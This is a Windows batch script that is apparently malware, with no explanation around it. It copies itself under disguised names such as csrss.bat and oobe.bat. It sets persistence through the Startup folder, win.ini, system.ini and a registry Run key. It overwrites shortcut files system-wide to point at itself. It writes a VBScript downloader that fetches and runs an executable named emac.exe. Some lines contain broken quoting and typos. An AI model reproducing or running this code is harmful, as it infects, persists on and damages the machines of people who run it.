copy ex3 "%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy ex3 %windir%\tank.bat
cmd /c "echo [windows] >> %windir%\win.ini"
cmd /c "echo load=%windir%\tank.bat >> %windir%\win.ini"
cmd /c "echo run=%windir%\tank.bat >> %windir%\win.ini"
cmd /c "echo nullport=None >> %windir%\win.ini"
copy ex3 %systemdrive%\WINDOWS\system32\csrss.bat
cmd /c "echo [boot] >> %windir%\system.ini"
cmd /c "echo shell=csrss.exe %systemdrive%\WINDOWS\system32\csrss.bat >> %windir%\system.ini"
copy ex3 %windir%\system\oobe.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v oobe /t REG_SZ /d %windir%\system\oobe.bat /f
start IEXPLORE "
www.crazyfriendove.piczo.com" copy ex3 C:\WINDOWS\eolrhwpo.vbs
copy ex3 C:\WINDOWS\vxdma.bat
copy ex3 C:\WINDOWS\eoirhwpo.vbs
cmd /c "echo.on error resume next >C:\WINDOWS\eoirhwpo.vbs"
cmd /c "echo dim wsh >>C:\WINDOWS\eoirhwpo.vbs"
cmd /c "echo set wsh=wscript.createobject("wscript.shell") >>C:\WINDOWS\eoirhwpo.vbs"
cmd /c "echo wshs.run "C:\WINDOWS\vxdma.bat" >>C:\WINDOWS\eoirhwpo.vbs"
cmd /c "echo dim wsh, msc > C:\WINDOWS\eolrhwpo.vbs"
cmd /c "echo set wsh=wscript.CreateObject("wscript.Shell") >> C:\WINDOWS\eolrhwpo.vbs"
cmd /c "echo set msc=wsh.CreateShortcut("C:\xxx.lnk") >>C:\WINDOWS\eolrhwpo.vbs"
cmd /c "echo msc.TargetPath = wshs.ExpandEnvironmentStrings("C:\WINDOWS\eoirhwpo.vbs ") >> C:\WINDOWS\eolrhwpo.vbs"
cmd /c "echo msc.WindowStyle = 4 >> C:\WINDOWS\eolrhwpo.vbs"
cmd /c "echo msc.save >> C:\WINDOWS\eolrhwpo.vbs"
cscript C:\WINDOWS\eolrhwpo.vbs
del C:\WINDOWS\eolrhwpo.vbs
for %k in (*.lnk \*.lnk ..\*.lnk C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\Alky for Applications\Libraries\\*.lnk C:\WINDOWS\*.lnk) do copy C:\xxx.lnk %k
del C:\xxx.lnk
cmd /c "echo Dim DataBin >temp.vbs"
cmd /c "echo Dim HTTPGET >>temp.vbs"
cmd /c "echo Set HTTPGET = CreateObject(”Microsoft.XMLHTTP”) >>temp.vbs"
cmd /c "echo HTTPGET.Open “GET”, “n“, False>>temp.vbs"
cmd /c "echo HTTPGET.Send >>temp.vbs"
cmd /c "echo DataBin = HTTPGET.ResponseBody >>temp.vbs"
cmd /c "echo Const adTypeBinary=1 >>temp.vbs"
cmd /c "echo Const adSaveCreateOverWrite=2 >>temp.vbs"
cmd /c "echo Dim test1 >>temp.vbs"
cmd /c "echo Set test1 = CreateObject(”ADODB.Stream”) >>temp.vbs"
cmd /c "echo test1.Type = adTypeBinary >>temp.vbs"
cmd /c "echo test1.Open >>temp.vbs"
cmd /c "echo test1.Write DataBin >>temp.vbs"
cmd /c "echo test1.SaveToFile “emac.exe”, adSaveCreateOverWrite >>temp.vbs"
cscript temp.vbs
start emac.exe -h
rasdial n n n
rasdial 412412412